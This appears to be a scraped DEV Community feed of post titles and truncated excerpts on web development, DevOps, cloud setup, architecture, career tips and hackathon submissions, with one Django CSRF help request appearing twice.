    Hey folks, Maybe it helps someone out there who’s still in the trenches. ⸻ Just start building — even if it sucks Seriously. I kept waiting until I “understood everything” before starting a project. That was a trap. ⸻ Get good at Googling Nobody remembers everything. The real skill is knowing what to search and how to phrase it. ⸻ Keep a “dump” file I always have a random file open (mine’s called junk.js) where I test stuff, break code, or just experiment. It’s like a no-pressure sandbox — no rules, no cleanup, just play. ⸻ Console.logs are fine. But learn the debugger Took me way too long to realize breakpoints and watch values are actually easy and save you so much time. Especially when stuff gets messy in loops or async code. ⸻ If you can’t explain it, you probably don’t get it Try explaining a concept out loud — to yourself or someone else. If you stumble, that’s a clue to revisit it. Writing blog posts or rubber-ducking really helps here. ⸻ It’s okay to delete code Sometimes when I’m stuck, the fastest fix is just… deleting the thing and starting over. I used to be scared of that, but it usually ends up cleaner the second time. ⸻ You don’t need to know everything There’s so much pressure to learn every new framework or language. Truth is, you can go very far by just going deep in one stack. Don’t burn out trying to chase every trend. ⸻ That’s it for now. Not groundbreaking, just honest stuff that helped me personally. If you’ve got a tip that saved you a ton of time or helped things finally click — I’d love to hear it. Drop it in the comments 🙌  ( 4 min )
    Need Help Finalizing My Django-Based Research Study App (CSRF Issue)
    Hey Dev Community! 👋 I'm working on a Django-based web application for a university research study that explores passphrases across different languages. I’ve built most of the core functionality, but I’ve hit a blocker I can't seem to solve and could use your help. 🧠 Project Background This is a user study platform (academic) where participants: Log in or sign up Consent to a study Complete a series of language-based passphrase tasks We use Django 5.2.1, and the app has: Allauth (for auth, but only the backend currently) Custom user flow Consent form Task-based progression (task1 → task2, etc.) ❗ Problem I'm Facing After logging in (especially in a fresh or different browser), when the user clicks “Start the Study”, they hit this: Despite having: {% csrf_token %} in the form CsrfViewMiddleware active Proper CSRF_TRUSTED_ORIGINS and ALLOWED_HOSTS Cookies confirmed in the browser get_token(request) and @csrf_protect used Still, the form POST fails on that "Start the Study" step. ✅ What Works Viewing the home page after login also works. Form displays the token correctly. CSRF cookie is generated. If I refresh or re-login, it sometimes works — it's inconsistent. 💡 What I Think Might Help Guidance on how to persist CSRF token between views properly? Is get_token(request) necessary in views? Anything to check in my session/cookie setup? 🔗 Project Info Python 3.11 / Django 5.2.1 SQLite (for now) Hosted locally (localhost:8000) CSRF Cookie: Lax, Secure = False (for dev) CSRF token is present in the form 📂 Want to Help? If you’re interested in helping me wrap this up: I am happy to discuss more via comments here! Thank you in advance 🙏 — this is part of a real academic research study, so your contribution has meaningful impact! — P.S.: If you’ve solved a similar issue before, please drop some wisdom! I’ve debugged it for hours and feel close… but not quite there.  ( 3 min )
    Need Help Finalizing My Django-Based Research Study App (CSRF Issue)
    Hey Dev Community! 👋 I'm working on a Django-based web application for a university research study that explores passphrases across different languages. I’ve built most of the core functionality, but I’ve hit a blocker I can't seem to solve and could use your help. 🧠 Project Background This is a user study platform (academic) where participants: Log in or sign up Consent to a study Complete a series of language-based passphrase tasks We use Django 5.2.1, and the app has: Allauth (for auth, but only the backend currently) Custom user flow Consent form Task-based progression (task1 → task2, etc.) ❗ Problem I'm Facing After logging in (especially in a fresh or different browser), when the user clicks “Start the Study”, they hit this: Despite having: {% csrf_token %} in the form CsrfViewMiddleware active Proper CSRF_TRUSTED_ORIGINS and ALLOWED_HOSTS Cookies confirmed in the browser get_token(request) and @csrf_protect used Still, the form POST fails on that "Start the Study" step. ✅ What Works Viewing the home page after login also works. Form displays the token correctly. CSRF cookie is generated. If I refresh or re-login, it sometimes works — it's inconsistent. 💡 What I Think Might Help Guidance on how to persist CSRF token between views properly? Is get_token(request) necessary in views? Anything to check in my session/cookie setup? 🔗 Project Info Python 3.11 / Django 5.2.1 SQLite (for now) Hosted locally (localhost:8000) CSRF Cookie: Lax, Secure = False (for dev) CSRF token is present in the form 📂 Want to Help? If you’re interested in helping me wrap this up: I am happy to discuss more via comments here! Thank you in advance 🙏 — this is part of a real academic research study, so your contribution has meaningful impact! — P.S.: If you’ve solved a similar issue before, please drop some wisdom! I’ve debugged it for hours and feel close… but not quite there.  ( 3 min )
    Everything You Need to Know about asynchronous programming along with Kotlin + Spring WebFlux
    General Introduction What is Reactive Programming? Wikipedia: Reactive Programming Reactive programming is a declarative programming paradigm focused on data streams and the propagation of change. It allows working with both static (e.g. arrays) and dynamic (e.g. event emitters) data flows, automatically handling updates via the Observer pattern. In essence, reactive programming is about data flow, asynchronous communication, and automatic propagation of changes. In Spring, the key difference between traditional Spring MVC and WebFlux is synchronous vs asynchronous processing. Instead of blocking to wait for a response, reactive code allows you to invoke a method and keep doing other work while waiting. Spring uses Project Reactor internally, which implements the Reactive Str…  ( 5 min )
    Hybrid Intrane -Modern PWA Dashboard
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    Between Doing and Doing Well: A Quest for Effectiveness and Excellence
    I know I can get things done, no matter the challenge. But how do I do it effectively? That question has been on my mind for a while now. It's no longer about proving my capability to accomplish something, what's been driving me lately is a more subtle (and deeper) unease: the desire to do better! Capability Isn't the Hurdle If you work in tech, you've probably gone through the phase of learning new tools, frameworks, languages, and methodologies. In the beginning, the challenge is always about making it work. But after some time, something shifts. Execution stops being the obstacle, and a new question pops up: "Okay, I can do it. But is it actually good?" The Unease That Propels This kind of restlessness signals maturation. It's when you stop measuring your work solely by the number of co…  ( 4 min )
    Novalink System
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space I created a fictional intranet homepage for NovaLink Systems, a futuristic tech company focused on AI and team collaboration. 👉 View the Project The homepage includes: 🌟 Hero section with welcome message 📅 Upcoming Events 👥 Team Spotlight 🧭 Quick Tools section 📰 Company News 🎯 Mission, Vision, and Values 💻 Responsive design for mobile & desktop All sections were built using HTML, CSS, and JavaScript. The design follows a sleek dark-blue gradient theme with glowing hover animations. I wanted a layout that felt futuristic but still readable and practical. I used soft transitions, a modern UI card layout, and blue tones to represent calm, focus, and innovation. HTML5 CSS3 (Flexbox + Grid + Transitions) Vanilla JavaScript Hosted on: (e.g. GitHub Pages) Made by Melody Kelly Nwaogu Thanks for hosting this inspiring challenge! 🚀  ( 3 min )
    Remote Team Collaboration Made Easy: 8 Strategies for Better Results
    Remote team collaboration is no longer just a trend. It’s how modern teams get things done. But working from different locations can bring its own set of challenges, especially when communication, engagement, and accountability start to slip. What is Remote Collaboration? Remote collaboration is the process of working together toward shared goals while being physically apart. It relies on digital tools, such as video conferencing, shared documents, messaging apps, and virtual polling, to facilitate effective communication and keep projects on track. This type of collaboration enables remote teams to stay connected, manage workloads, and resolve problems in real-time, even when working across different time zones or continents. 8 Best Practices for Remote Team Collaboration Whether you …  ( 5 min )
    Precision Engineering in Lithography: Behind the Semiconductor Machines
    Semiconductor lithography is an integral process in chip manufacturing that relies on the ability to create precise patterns on a silicon wafer. These patterns are the foundation for creating transistors and circuits that power modern electronics. Lithography systems, which use light to project these patterns, are among the most sophisticated and precise machines in the world. The success of these machines in producing reliable, high-performance chips hinges on the work of mechanical engineers who design the mechanical components that ensure stability, precision, and reliability. In the world of semiconductor manufacturing, where tolerances are measured in nanometers, even the smallest mechanical misalignment can lead to catastrophic yield losses. The heart of lithography machines is their…  ( 4 min )
    What I Wish I Knew Earlier About Clean Architecture (from a PHP/Laravel Dev)
    When I started building web apps with PHP and Laravel, my main goal was simple: make it work. 🧠 What is Clean Architecture? The core business logic is independent of frameworks and tools. Your app becomes easier to test, maintain, and evolve. You can plug and replace things (like Laravel, databases, external APIs) without touching your core logic. 🧱 The Layers and The Golden Rule Domain Layer: Entities, business rules. The heart of your application. Application Layer: Use cases that orchestrate the domain objects. Infrastructure Layer: Frameworks (Laravel), databases (MySQL), APIs, queues, etc. Interface/Presentation Layer: Controllers, CLI Commands, anything that presents data to the user. The most important rule is The Dependency Rule: source code dependencies can only point inwards. T…  ( 5 min )
    As Heurísticas de Nielsen
    As Heurísticas de Nielsen As Heurísticas de Nielsen, criadas por Jakob Nielsen e Rolf Molich em 1990 e refinadas por Nielsen em 1994, é um conjunto de dez princípios gerais para o design de interfaces de usuário. Elas se tornaram um guia fundamental para avaliar a usabilidade de qualquer sistema – seja um site, aplicativo ou software. Essas heurísticas são usadas para identificar problemas de usabilidade em uma interface e propor melhorias, garantindo que o produto seja intuitivo, eficiente e agradável para o usuário. Detalhando as 10 Heurísticas de Nielsen: Visibilidade do Status do Sistema O que significa: O sistema deve sempre manter o usuário informado sobre o que está acontecendo, fornecendo feedback apropriado em um período razoável. Exemplo: Uma barra de progresso durante o do…  ( 5 min )
    Hexagonal Architecture: Enabling Horizontal Scalability and Seamless Microservices Transition Without Breaking Your Core
    🧑‍💻 Note: This article is aimed at developers who are just getting started and want to learn about software architecture and microservices. I want to share my personal view on how Hexagonal Architecture provides a solid foundation for growth and scalability. I believe developers should get familiar with architectural patterns early—not to overengineer, but to understand how to build software that can evolve cleanly as the project grows. I'm fully open to suggestions, questions, or constructive criticism. This article is based on practical experience and research, but there’s always room for discussion and improvement. Feel free to challenge or complement this point of view. One of the biggest challenges in building long-lasting applications is protecting business logic from technolo…  ( 5 min )
    Fastify, Prisma, Zod & Swagger
    Fastify Prisma Boilerplate — A Productive API Starter As someone who frequently spins up backend projects, I got tired of repeating the same setup. So I built a boilerplate that helps me get started faster with less boilerplate and more actual work. This project combines Fastify, Prisma, Zod, and TypeScript into a lightweight, type-safe, and efficient REST API starter — with auto-generated routes, a CLI, and built-in validation. 👉 GitHub Repo ⚡ Fastify for high-performance APIs 🐘 Prisma for type-safe DB access (PostgreSQL) ✅ Zod for schema validation and typing 🔒 End-to-end type safety with fastify-type-provider-zod 📝 Swagger auto-docs via @fastify/swagger 🛠 CLI to scaffold routes ♻️ Auto-registration of route files 🌐 .env support via dotenv Getting Started gi…  ( 4 min )
    CONTENT WRITING SERVICES IN PAKISTAN
    CONTENT WRITING SERVICES What are Content Writing Services? Content writing encompasses the structuring, enhancement, and distribution of information designed for the internet. This may include a blog entry, a video script, a sales page — essentially anything that is made available online. Importance of Content Writing Information is made available to consumers through blogs, articles, and e-books. The process of content creation assists in engaging a broader audience. Product descriptions are one way that content writing contributes to brand recognitions. Writing quality content promotes the expansion of internet business. Social media platforms such as Instagram and others. Types of Content Writing BLOG POSTs: Website copywriting: Brand journalist: SEO Writing: FUTURE DEMAND For those who enjoy writing and have a talent for creating interesting information it provides a fulfilling professional path. Creating material for many platforms such as blogs, websites, social media, emails and more is a requirement for these jobs. Content writers are in high demand and get handsome salary package. Content writing is a valuable profession. DMT SOFTWARE HOUSE  ( 3 min )
    How I Landed My Internship as an Undergraduate Student
    Hi, I'm Dhamith, a software engineer with over 2.5 years of experience. But back when I was an undergraduate, I faced the same challenge many students face today, finding an internship. These days, it's tough. There's lots of competition, few responses, and endless applications. That's exactly why I'm sharing my story. I didn't land my internship through a job portal or by sending out resumes. It came from something completely different. Here's how it happened. In the beginning, I built a few hobby projects just for fun. Simple things I was curious about or wanted to try. I didn't expect much from them, but I shared them anyway on social media. At first, I posted my work everywhere Twitter, Facebook, and LinkedIn. But after a while, I started noticing something, LinkedIn was where my work…  ( 5 min )
    How to Implement Push Notifications Using JavaScript
    1. Selecting the Button Element const notifyBtn = document.querySelector("#notify"); Selects the button with the id="notify" from the DOM. Stores it in the variable notifyBtn. 2. Notification and Interval Variables let interval; let notification; interval: Stores the ID of the interval function (used for clearing the interval later). notification: Stores the latest notification instance. 3. Click Event Listener on Button notifyBtn.addEventListener("click", () => { Notification.requestPermission().then((permission) => { if (permission == "granted") { notification = new Notification("Example", { body: "This is more text for example" + Math.random(), icon: "icon.png", tag: "Example", }); notification.addEventListener("error", (e…  ( 4 min )
    Press Start: An Immersive Intranet for a Game Studio
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space For this challenge, I designed and built an intranet homepage for "Pixel Potion Studios," a fictional indie game development company. My goal was to move beyond a generic corporate template and create a digital workspace that felt like an immersive extension of the company's creative culture. The entire layout is designed to feel like the main menu of an indie game, making it a familiar and engaging space for its employees. The key widgets and features include: A Personalized Welcome: Greets the logged-in employee by name. Notifications: A dynamic section that combines major announcements (like a CEO's message) with smaller, more personal updates like wellness challenges or welcomi…  ( 4 min )
    AWS Savings Plans vs Reserved Instances
    As organizations increasingly migrate to the cloud, managing and optimizing AWS costs becomes crucial. With various pricing models available, two of the most widely used cost-saving options are AWS Savings Plans and AWS Reserved Instances (RIs). Both offer significant discounts compared to on-demand pricing, but they differ in flexibility, application, and use cases. Understanding these differences is essential to make the most out of your AWS investment. This article compares AWS Savings Plans and Reserved Instances, outlining their key benefits and helping you decide which pricing model best suits your workloads and long-term strategy. AWS Savings Plans is a flexible pricing model that allows users to commit to a consistent amount of compute usage (measured in $/hour) for a one- or three…  ( 6 min )
    Multi-host deployment and management using Portainer
    TL;DR I will simulate a multi-host environment using DinD and then use Portainer for deployment and management. Installed Docker (If you don't have it, follow the instructions for Windows or Linux) Read previous post to know what I done Architecture I will migrate from a single-host to a multi-host architecture. Step 1: Register 3 nodes free for portainer Click on the link Fill out the form Get an email and save the license key Step 2: Create docker volume for portainer docker volume create portainer_data Step 3: Create network docker network create portainer-network Step 4: Run portainer with specify network docker run -d -p 8000:8000 -p 9443:9443 --name portainer --restart=always --network portainer-network -v /var/run/docker.sock:/var/run/docker.sock -v portainer_…  ( 5 min )
    Why Bluebox Is the Cloud Storage You’ve Been Waiting For (15GB Free — Forever)
    Let’s be real — cloud storage in 2025 feels more like a trap than a tool. 5GB here, 2GB there, and before you know it, you're out of space, out of patience, and forced to “go premium” just to keep your own files online. That’s why we built Bluebox — a new kind of cloud storage platform that flips the script. 🚀 15GB of Free Cloud Storage. Yours. Forever. No Strings. Bluebox is a clean, fast, and secure cloud storage service built by Phisk Corporation, designed specifically for developers, creators, and digital builders who are tired of the nonsense. We’re not trying to upsell you. We’re not mining your data. And we’re not asking for your credit card. Just sign up and get 15GB of free storage — instantly. And yes, it’ll stay free. Forever. 💡 Why Bluebox Matters Right Now 🧩 We’re all stori…  ( 4 min )
    ✨🎨 Pure CSS Magic: How to Build a Realistic 3D Office Experience 🏢💻🪑
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Have you ever wondered how far you can push CSS without touching JavaScript? Today, I'm excited to share a project that creates a fully interactive, 3D office environment using nothing but HTML and CSS! The inspiration for this project came from observing real office environments and wanting to capture the essence of modern workplace culture through CSS art. I was fascinated by the diversity of interactions that happen in offices daily - from formal executive meetings to casual water cooler conversations, from nerve-wracking job interviews to collaborative team sessions. What struck me most was how much storytelling potential exists in these everyday scenarios. I wanted to challenge mys…  ( 9 min )
    Guide on Creating & Connecting to an Azure Virtual Machine
    Azure Virtual Machine (VM) is a scalable, cloud-based computing resource offered by Microsoft Azure that functions just like a traditional computer—but in the cloud. It allows users to run applications, host websites, manage servers, or simulate workloads without owning physical hardware. Kindly see below steps involved in Creating an Azure Virtual Machine: Login to Microsoft Azure at https://portal.azure.com Search for a Virtual Machine from the Search bar Create a virtual machine Create a Resource group and give it a name Give your virtual machine a name, choose a region, choose availability zone, choose a zone. Choose an image Choose image size Create a login detail for administrator account and give it a name and password Select the inbound port Select License Under Monitoring, disable boot diagnostic Go to tag and add name and value Review and create virtual machine Deployment in progress Deployment is complete Connect the virtual machine |Download the RDP file and open file The virtual machine has been created.  ( 3 min )
    🔀 Maintaining a Linear Commit History in Git
    While working with Git branches like develop and main, it's common to frequently merge changes. But did you know that doing so with regular merges can break a linear commit history? Here's what I learned today 👇 If you keep merging from develop to main using regular git merge, Git will create merge commits, leading to a non-linear (branched) commit history. This can make git log harder to read, especially in large projects. To ensure a clean, straight commit history on main, use one of these strategies: Rebase Before Merge git checkout develop git rebase main # Replay develop commits on top of main git checkout main git merge --ff-only develop # Fast-forward only ✅ This avoids merge commits and keeps the history linear. Use Squash Merging (Optional) If you want to combine all develop changes into a single commit before merging: git checkout main git merge --squash develop git commit 🎯 Useful for condensing work into one clean commit. Use Fast-Forward Merges Only Prevent accidental merge commits: git merge --ff-only develop 🔁 Repeat this pattern consistently to keep main clean and linear — great for production branches and readable history. Tags: #git #github #versioncontrol #devtips #100DaysOfDev  ( 3 min )
    Introducing Bluebox: A Free Cloud Storage Built for Developers, by Developers
    Hey folks 👋 I wanted to take a moment to introduce something our team has been quietly building over the past few months — something we truly believe could be useful for you, especially if you're a developer juggling projects, assets, backups, or just looking for a simple, reliable place to store your digital stuff. Say hello to Bluebox — a modern, clean, and secure cloud storage platform built by Phisk Corporation with a strong focus on usability, privacy, and community. And here’s the kicker: 🧊 You get 15GB of free storage. No credit card. No hidden catch. Just yours, free — forever. Why Bluebox? Let’s face it. Most of the big-name cloud storage providers come with baggage: bloated dashboards, constant upselling, limited free plans, and sometimes — questionable data policies. As develo…  ( 4 min )
    Setting Up a Firewall with Ansible and UFW
    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. Managing firewall rules manually on each server is boring and error-prone. Instead, automate it once with Ansible and let it run every time you provision a box. This post shows how to configure UFW using Ansible in a way that is repeatable, version-controlled, and easy to extend. Ansible installed on your control machine Target servers accessible via SSH Python installed on the target (Ansible needs it) The community.general collection installed: ansible-galaxy collection install community.general hosts.ini [web] webserver…  ( 5 min )
    Build Easy to Use CLIs in Python with Click
    Hi there! I'm Shrijith Venkatrama, founder of Hexmos. Right now, I’m building LiveAPI, a first of its kind tool for helping you automatically index API endpoints across all your repositories. LiveAPI helps you discover, understand and use APIs in large tech infrastructures with ease. Command-line interfaces (CLIs) are a developer's bread and butter. Whether you're scripting a quick tool or building a full-blown application, a good CLI makes life easier for everyone. Python's Click library is a game-changer for creating CLIs that are intuitive, powerful, and ergonomic. In this post, we'll dive into how Click helps you craft CLIs that feel natural to use, with practical examples and tips to make your commands shine. Click is a Python package that simplifies CLI creation with clean syntax and…  ( 8 min )
    Who’s Hiring Right Now? ✨ July 26th Edition
    Hey everyone! ✨ As part of our mission to help our community land the roles they deserve, here's your list of job openings across different domains! 🚀 AI Deployment Strategist @ Arc (New York, USA): https://jobs.ashbyhq.com/joinarc/a803b0e9-a559-4bc6-a8af-d8456f230e46 Product Design Engineer @ Persona AI (Pensacola FL/Houston TX, USA): https://jobs.ashbyhq.com/personainc.ai/9bd219fe-135a-4358-a666-1547df88ec05 General Application, Human Resources @ Microsoft (Utah, USA): https://microsoft.bamboohr.com/careers/19 Project & Maintenance Manager @ Siegwerk (Loeches, Spain): https://careers.siegwerk.com/job/Loeches-Project-&-Maintenance-Manager/1159584001/ Technical Producer @ Epic Games (Porto Alegre, Brazil): https://www.epicgames.com/site/en-US/careers/jobs/5589031004?gh_jid=5589031004 Transportation Assistant @ Nestle (Lima, Perú): https://jobdetails.nestle.com/job/Lima-Transportation-Assistant/1229165301/ AI/ML Engineer @ Brain Co. (San Francisco Bay Area, USA): https://jobs.ashbyhq.com/brainco/58cff031-5b0b-4b92-a1ea-2ebf2495d89d AI Developer @ Workana (Remote, Argentina/Colombia/Uruguay): https://apply.workable.com/workana-premium/j/6F6F5290C8/ Enterprise Product Manager @ Snowflake (Pune, India): https://jobs.ashbyhq.com/snowflake/0af6b021-6c2e-4a53-9eee-febcc321a9c5/application Senior Consultant @ Deloitee (Bengaluru, India): https://southasiacareers.deloitte.com/job/Bengaluru-Senior-Consultant-SAP-MM-Bengaluru-SAP/43771344/ Give Resume Matcher a ⭐ on GitHub ⭐ Resume Matcher on GitHub I'll be sharing more job posts like this in our Discord, LinkedIn and on DEV. Feel free to join the community. (●'◡'●) Resume Matcher on Discord Resume Matcher on LinkedIn ✨ Let’s get you hired. You’ve got this! With love, Harshita 🌸 | Open Source Community Manager  ( 3 min )
    ✨ How I Built Philosophy AI Agent for WLH Project
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. I graduated from university last year with a Philosophy degree — but for me, philosophy isn't just a qualification written on paper. It’s how I try to live, think, and grow. So, I thought: What if people could interact with a philosopher by simply speaking to one — just like we imagine having a chat with Socrates? That’s what led me to create Ask a Philosopher — an AI Voice Agent that listens, thinks, and speaks back. It was built using the following stack: 🎨 Frontend: HTML + JavaScript + WebAudio API + Text-to-Speech 🧠 Backend: Flask, hosted on AWS EC2 🔌 External APIs: AssemblyAI for Speech-to-Text + Gemini API for philosophical responses 🚀 Deployment: Single EC2 instance with Nginx as a reve…  ( 5 min )
    Productivity Tips
    Check out this Pen I made!  ( 2 min )
    Wearable Electronics: The Future of Smart Technology
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    Understanding ERC-4337 Through Gasless USDC Transfers: A Beginner-Friendly Guide
    Account abstraction has been a hot topic in Ethereum development for years, and ERC-4337 finally brought it to life. USDC or USDT because you lacked just a bit of ETH for gas fees, you're not alone — and ERC-4337 is part of the solution. If I got a cent every time I asked a friend for ETH just to send a stablecoin, I’d probably have ten dollars by now. Let’s say you’re holding only USDT in your wallet. You want to send it to a friend. But wait, you need ETH for gas. Suddenly, you’re scrambling to: Bridge or buy ETH Beg friends for a top-up Or worse, use a centralized exchange,cmon😖 This UX is not friendly, especially for everyday users or newcomers. The requirement to hold a second token (ETH) just to use your actual token (USDT/USDC) feels broken. Buzzword : Account Abstra…  ( 4 min )
    🏢 IntraSpace: AI-Powered Office Productivity Platform | Frontend Challenge: Office Edition
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    Holistic Webdev: Office Space
    🌐 This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space OrbitSpace is a futuristic, glassmorphism-inspired intranet homepage designed to bring elegance, clarity, and functionality to digital office environments. I envisioned a modern digital workspace that merges essential internal tools with an aesthetic that inspires creativity. The layout includes: ✨ Hero section with office branding 🚀 Quick links for essential tools 👥 Team spotlight to highlight members 📅 Upcoming events area 📊 Metrics dashboard 📚 Knowledge base 🧭 Navigation bar with smooth UX The UI uses glassmorphism layered with TailwindCSS and ShadCN UI components for responsiveness, theme consistency, and accessibility. Every card is softly frosted with transparency, letting the gradient background shine through. 🔗 Live URL: Preview Source Code: GitHub Repo I started this project with the idea of redefining how office intranets feel — moving away from outdated, cluttered dashboards into something that feels alive, light, and forward-thinking. Some things I'm proud of: Using glassmorphism with care to avoid readability issues Seamless integration of ShadCN components with Tailwind A fully modular component structure (HeroSection, Navigation, TeamSpotlight, etc.) Layout that adapts beautifully to different screen sizes Subtle hover interactions and gradients that enhance UX Throughout this build, I focused on component reusability and aesthetic balance, ensuring each section contributes to a cohesive whole. Made by @aditya_007 MIT License — free to use with credit.  ( 3 min )
    [Boost]
    🚀 Modern Intranet Dashboard UI Built for the Axero Frontend Challenge Hadil Ben Abdallah ・ Jul 25 #devchallenge #frontendchallenge #css #javascript  ( 2 min )
    DEV Frontend Challenge
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    Revenue Sharing Model: A Powerful Marketing Strategy for Token Presales
    Introduction Launching a successful token presale is not just about having a great product or tokenomics—it’s also about building momentum, trust, and community engagement. One of the most effective ways to achieve this is by leveraging a revenue sharing model as part of your presale marketing strategy. This approach incentivizes community members, influencers, and promoters to actively participate in and promote your presale, creating a win-win scenario for all parties involved. A revenue sharing model in the context of a token presale is a system where a portion of the funds raised (or tokens sold) is distributed as rewards to promoters or referrers who help bring in new investors. This model transforms your community into an active marketing force, aligning their interests with the su…  ( 6 min )
    MCP Servers That I Use as a Technical Founder
    There's been a flood of demos lately showing off how MCP servers can write WhatsApp messages or book plane tickets. Most of that feels like novelty, not utility. As a technical founder building Sliplane, a Docker hosting platform, I live in my terminal, and I care about things that help me ship, support customers, and write content fast. Quick refresher: MCP (Model Context Protocol) is Anthropic's open protocol that lets AI assistants like Claude connect to external tools and data sources. Think of MCP servers as bridges that give Claude access to APIs, databases, or services. Instead of copy-pasting information back and forth, Claude can directly interact with your tools to get work done. Here are four MCP servers I actually use every day to get real work done. No gimmicks. Just productiv…  ( 5 min )
    Integrated Circuits: How Tiny Chips Power Modern Electronics
    Disclaimer: This article is provided for educational purposes only and is not sponsored or endorsed by any company. Integrated circuits are the hidden heroes behind virtually every gadget we use. These sliver‑thin chips let your smartphone fit in your pocket, enable your car’s advanced driver‑assist features, and make high‑speed data centers possible. Without ICs, electronics would be bulky, power‑hungry, and far less reliable. As devices demand more performance in ever‑smaller packages, ICs keep innovating, packing billions of transistors onto cuts of silicon no larger than a fingernail. At their core, integrated circuits (ICs) are a miniature city of electronic components, transistors, resistors, capacitors, fabricated on a single piece of semiconductor (usually silicon). Before ICs, en…  ( 5 min )
    Desvendando a Hierarquia de Títulos HTML: Fundamentos, Semântica e Melhores Práticas
    Ao construir uma página web, o conteúdo é rei, mas a forma como ele é estruturado é a rainha que o ajuda a ser encontrado e compreendido. No coração dessa estrutura estão os títulos HTML, elementos essenciais que organizam o seu texto e guiam tanto os leitores humanos quanto as máquinas. Os títulos HTML são definidos por tags que vão de a . Eles servem para indicar a importância e a hierarquia do conteúdo em uma página. Imagine-os como os títulos e subtítulos de um livro ou de um trabalho acadêmico: (Heading 1): O título mais importante, que representa o tópico principal de toda a página. Pense nele como o título de um livro. (Heading 2): Um subtítulo de nível secundário, que divide o em seções principais. Seriam os capítulos de um livro. (Heading 3): Um subtít…  ( 6 min )
    Who Built It? How Proof of Attribution Gives Credit Where It’s Due?
    Who Built It? How Proof of Attribution Gives Credit Where It’s Due In traditional software development or AI research, it’s easy to overlook one crucial question: Who actually built this? A dataset might be compiled by hundreds of people. A model could be fine-tuned over months by a team of engineers. Content might be pulled from the web, cleaned, annotated, and prepped by unseen hands. Yet, when the product goes live a chatbot, a new algorithm, a predictive tool credit is often centralized. The work of contributors gets buried under logos and branding. This is where Proof of Attribution (PoA) steps in a system designed to answer that very question: who contributed what, and how can we make sure they get recognized (and even rewarded)? Before diving into Web3, let’s look at ho…  ( 5 min )
    Learn any Language Faster with One Click
    Have you ever wished that you could learn a new language just by browsing the web? Well I know I have. About a year ago I decided that I wanted to learn Russian. Learning a new language is a slow process, so being able to spend time constantly working towards this goal is critical. However once the novelty of embarking on a new hobby wore off I found it harder and harder to engage and enjoy what I was reading, children stories just aren't that entertaining. This lead to me thinking, I wish I could engage with Russian the same way I do English every day. And this is where I decided to create Lingo Journey, a Chrome extension designed to help people learn a new language. If Language learning is all about immersion, then what better way to achieve this than surfing the web entirely in your n…  ( 4 min )
    Automating Azure infrastructure With GitHub Actions and Terraform.
    Introduction to GitHub Actions Git actions is a continuous integration and continuous delivery platform that allows us to build, test, deploy our tasks. It is an automation tool. Practical Section Step 1: Create a private GitHub repository Go to your GitHub and create a private repository Step 2: Generate a workflow token in GitHub Go to your GitHub and click on your profile Scroll down and click on settings Scroll down and click on developers by your left Click on personal access token drop down and select tokens (classic) Click on generate tokens Name your token Scroll down and enable workflow Scroll down and click on generate tokens Before you exist that page, make sure you copy your token Step 3: Create a file Create a file on your laptop Right click on it and open it with …  ( 4 min )
    Navegação Descomplicada no Android utilizando MVVM-C com NavigationManager
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    How to Manage virtual machines in Azure
    What is a Virtual Machine: In this article, we will be focusing on: Move the virtual machine network to the new subnet Login to Microsoft Azure at https://portal.azure.com From the Azure portal home page, in the search box, enter virtual machines. Select virtual machines under services. Select the guided-project-vm virtual machine. If the virtual machine is running, select Stop. Wait for the Status field to update and show Stopped (deallocated). Wait for the Status field to update and show Stopped (deallocated). Within the Networking subsection of the menu, select Network settings. Select the Network interface / IP configuration hyperlink for the VM. On the IP Configurations page, update the Subnet to ftpSubnet. Select Apply. Select Home to return to the Azure portal ho…  ( 5 min )
    Building a Food Price & Inflation Analysis Pipeline in Kenya (2006–2024)
    Kenyan households face soaring food prices and inflation. By building a robust ETL pipeline, dimensional model and visual dashboards, I analyzed how inflation impacts staple food prices across Kenyan markets from 2006 to 2024. Food consistently makes up 30–40% of Kenya’s consumer basket, driving inflation volatility.   By analyzing monthly market data, we uncover inflation’s impacts on food security and policy effectiveness. Full project code on Github Tech stack: Python Pandas PostgreSQL (star schema) Apache Airflow Grafana Data sources: Food prices: HDX CSV from WFP/Humanitarian Data Exchange Inflation: World Bank CPI API for Kenya (2006–2024) Star Schema: The cleaned data is structured using a star schema to enable efficient querying and dashboarding. At its center is the fact_pr…  ( 5 min )
    Set Up ESLint with Vite (React, React Hooks, and React Refresh)
    Originally published here: Due to a lack of tutorials about setting up ESLint with Vite and React, especially including React Hooks and React Refresh, I've written this guide to help developers looking for such resources. Let's get started! This tutorial assumes you are using Vite 7, but the instructions should be applicable to other versions as well. In case you aren't very familiar with ESLint, Vite, or React Refresh, here is a bit of info about each. There aren't dedicated sections about React or React Hooks because you can find plenty of info about them in React's official documentation. ESLint is a popular JavaScript linter that helps developers identify and fix issues in their code. It enforces coding standards and best practices, making it easier to write clean, consistent, and main…  ( 6 min )
    The Importance of Styling React Components
    When it comes to styling React components with CSS, the possibilities are endless. With the rise in popularity of React for building user interfaces, having a solid understanding of how to effectively style components is crucial for creating visually appealing and functional applications. From inline styles to CSS modules and CSS-in-JS solutions, there are various approaches to consider when styling React components. In this guide, we will explore the best practices and techniques for styling React components with CSS to help you create stunning and responsive UIs for your projects. Overview of CSS Methodologies for React Components In the realm of React component styling, the choice of CSS methodology plays a significant role in maintaining code scalability and consistency. CSS methodolog…  ( 5 min )
    🧑‍💻 HackerEarth for Developers — Let Your Code Do the Talking
    Tired of generic resumes and blind job applications? HackerEarth lets developers showcase real skills and get hired based on what they can build — not just what they say. 💡 What you get: 🧠 Practice with real-world coding challenges in DSA, system design, AI & more 🔍 Be discovered by global tech companies actively hiring 🛠️ Build a public developer profile backed by assessments & coding track record 🌍 Join a 10M+ dev community learning, competing, and leveling up together Skip the fluff. Code your way into great opportunities. 🔗 hackerearth.com/for-developers  ( 3 min )
    Beyond the Code - Community and Connections at WLH
